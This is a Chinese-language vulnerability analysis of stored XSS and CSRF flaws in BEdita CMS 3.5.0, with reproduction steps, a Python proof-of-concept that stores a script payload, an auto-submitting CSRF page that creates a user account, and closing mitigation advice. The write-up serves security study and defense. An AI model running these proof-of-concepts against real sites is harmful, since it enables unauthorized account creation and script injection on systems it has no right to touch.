[漏洞分析] BEdita CMS 3.5.0中存储型XSS与CSRF漏洞分析

来源:互联网 发布:eview触摸屏软件 编辑:程序博客网 时间:2024/06/06 03:13

软件的官网为:http://www.bedita.com/download-bedita

其中存在两个漏洞分别是存储型XSS与CSRF漏洞。漏洞编号为:EDB-ID:36265 OSVDB-ID:118984,118985,119052

一、漏洞验证

1.1 存储型XSS

首先需要找到漏洞存在的位置,步骤如下:

在首页点击newsletter


点击Subscriber下面的import


随后点击create new list


然后在list name处输入XSS PAYLOAD 

<script>alert(/xss test/);</script>

提交PAYLOAD时的数据包如下,蓝色的部分为PAYLOAD:


最后点击Subscriber lists,当显示列表时,之前输入的PAYLOAD会弹出一个窗口,表示PAYLOAD被执行,存储型XSS存在


此页面显示时的数据包如下,可见PAYLOAD没有经过处理,直接返回给浏览器执行


1.2  CSRF

在首页点击users,如箭头所示。


随后点击左边栏中的New user


随后添加一个名为navyofficer的用户,资料填写完毕之后,点击CREATE保存


提交时的数据包如下,从中可以看出相应的参数


点击左边栏中的Users,可见刚刚新添加的用户


此时在攻击者控制的域下构造如下的HTML页面,利用社工等方法让用户访问


当用户访问到此网页时,会构造一个合法的POST请求,功能是添加用户。由于关键字段都是隐藏的,因此用户并不知道具体的操作是什么。

随后查看现有用户,发现通过CSRF添加的用户被成功添加。



二、POC代码
2.1 XSS
下面为一个python的POC代码。代码模拟了POST提交XSS PAYLOAD的过程,能够将PAYLOAD直接存放在网站中

#!/usr/bin/python#-*-coding:utf-8-*-import urllibimport urllib2url = 'http://[HOST]/index.php/newsletter/saveMailGroups'header = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language': 'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3','Accept-Encoding': 'gzip, deflate','Referer': 'http://[HOST]/index.php/newsletter/viewMailGroup/','Cookie': 'CAKEPHP=oog6bque2q3a7ncfuaoghlg9d0','Connection': 'keep-alive','Content-Type': 'application/x-www-form-urlencoded','Content-Length': '539' }data = 'data%5BMailGroup%5D%5Bid%5D=&data%5BMailGroup%5D%5Bgroup_name%5D=%3Cscript%3Ealert%28%2Fxss+test%2F%29%3B%3C%2Fscript%3E&data%5BMailGroup%5D%5Barea_id%5D=1&data%5BMailGroup%5D%5Bvisible%5D=1&data%5BMailGroup%5D%5Bsecurity%5D=none&data%5BMailGroup%5D%5Bconfirmation_in_message%5D=Hi+%5B%24user%5D%2C+%0D%0A%0D%0Ayour+subscription+is+now+active%2C+soon+you%27ll+receive+the+%22%5B%24title%5D%22+newsletter.&data%5BMailGroup%5D%5Bconfirmation_out_message%5D=Hi+%5B%24user%5D%2C+%0D%0A%0D%0Ayou+have+been+unsubscribed+from+%22%5B%24title%5D%22'req = urllib2.Request(url,data,header)response = urllib2.urlopen(req)print 'XSS ATTACK DONE'

(备注:代码中的[HOST]内容按照实际情况换成相应的内容)

它会发送如下的数据包:


2.2 CSRF
官方给出的利用代码,需要利用社会工程学的方法诱使用户点击提交按钮,我将其进一步优化,使得攻击者伪造的表单在用户访问的时候能够自动提交。

<html><body>CSRF ATTACK POC<form action="http://[HOST]/index.php/users/saveUser" name="form1" method="POST"><input type="hidden" name="data[User][auth_type]" value="bedita" /><input type="hidden" name="data[User][userid]" value="CSRF-POC_ADDED_USER" /><input type="hidden" name="pwd" value="CSRFPOC" /><input type="hidden" name="data[User][passwd]" value="CSRFPOC" /><input type="hidden" name="data[User][realname]" value="csrf-poc" /><input type="hidden" name="data[User][email]" value="csrf-poc@admin.com" /><input type="hidden" name="data[User][valid]" value="1" /></form><script>document.form1.submit();</script></body></html>
(备注:代码中的[HOST]内容按照实际情况换成相应的内容)
相应的交互过程如下:


三、加固手段
3.1 XSS
可以利用htmlspecialchars函数,在用户输入的PAYLOAD被返回给浏览器时转化成HTML实体,这样的话,PAYLOAD就是一个普通的字符串显示在浏览器中,而不是一个可以被浏览器执行的脚本语句。
3.2 CSRF
防御CSRF最好的方法是利用Anti CSRF Token,但此处可以利用更简单的方法:我们看到添加用户的HTTP请求头中有Referer: http://[HOST]/index.php/users/viewUser
而在发起CSRF攻击时,Referer头是来自bedita这个web应用之外的,因此可以通过检查这个部分来判断请求是否是一个攻击。

数据包的对比如下:



但是,Referer头不一定总有,届时可以利用token的方法。


0 0